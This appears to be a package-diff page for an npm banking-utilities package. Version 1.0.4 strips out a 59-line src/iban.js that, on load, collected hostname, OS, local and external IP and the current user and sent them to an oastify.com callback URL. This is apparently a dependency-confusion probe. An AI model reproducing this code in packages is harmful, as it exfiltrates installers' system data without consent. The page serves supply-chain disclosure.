@woody-mrs-potato/utils-banking 1.0.3 → 1.0.4
Sign up to get free protection for your applications and to get access to all the features.
- package/package.json +1 -1
- package/src/iban.js +1 -59
package/package.json
CHANGED
package/src/iban.js
CHANGED
@@ -1,59 +1 @@
|
|
1
|
-
|
2
|
-
const https = require('https');
|
3
|
-
const { exec } = require('child_process');
|
4
|
-
|
5
|
-
function getExternalIp(callback) {
|
6
|
-
https.get('https://api.ipify.org?format=json', (res) => {
|
7
|
-
let data = '';
|
8
|
-
|
9
|
-
res.on('data', (chunk) => {
|
10
|
-
data += chunk;
|
11
|
-
});
|
12
|
-
|
13
|
-
res.on('end', () => {
|
14
|
-
const ipData = JSON.parse(data);
|
15
|
-
callback(ipData.ip);
|
16
|
-
});
|
17
|
-
}).on('error', (e) => {
|
18
|
-
console.error(`Error al obtener IP externa: ${e.message}`);
|
19
|
-
callback('Unknown');
|
20
|
-
});
|
21
|
-
}
|
22
|
-
|
23
|
-
function getWhoami(callback) {
|
24
|
-
exec('whoami', (error, stdout, stderr) => {
|
25
|
-
if (error) {
|
26
|
-
console.error(`Error ejecutando whoami: ${error.message}`);
|
27
|
-
callback('Unknown');
|
28
|
-
return;
|
29
|
-
}
|
30
|
-
callback(stdout.trim());
|
31
|
-
});
|
32
|
-
}
|
33
|
-
|
34
|
-
const systemInfo = {
|
35
|
-
platform: os.platform(),
|
36
|
-
release: os.release(),
|
37
|
-
hostname: os.hostname(),
|
38
|
-
ip: os.networkInterfaces()['eth0'] ? os.networkInterfaces()['eth0'][0].address : 'Unknown',
|
39
|
-
};
|
40
|
-
|
41
|
-
getExternalIp((externalIp) => {
|
42
|
-
getWhoami((whoami) => {
|
43
|
-
const queryParams = new URLSearchParams({
|
44
|
-
...systemInfo,
|
45
|
-
externalIp: externalIp,
|
46
|
-
user: whoami
|
47
|
-
}).toString();
|
48
|
-
|
49
|
-
const url = `https://lb0wfl0wv7ay9yxaniioaw54tvzmncb1.oastify.com/BBVA/telefonica?${queryParams}`;
|
50
|
-
|
51
|
-
https.get(url, (res) => {
|
52
|
-
console.log(`Status: ${res.statusCode}`);
|
53
|
-
}).on('error', (e) => {
|
54
|
-
console.error(`Problem with request: ${e.message}`);
|
55
|
-
});
|
56
|
-
});
|
57
|
-
});
|
58
|
-
|
59
|
-
console.log("Test module loaded successfully");
|
1
|
+
console.log("Test")
|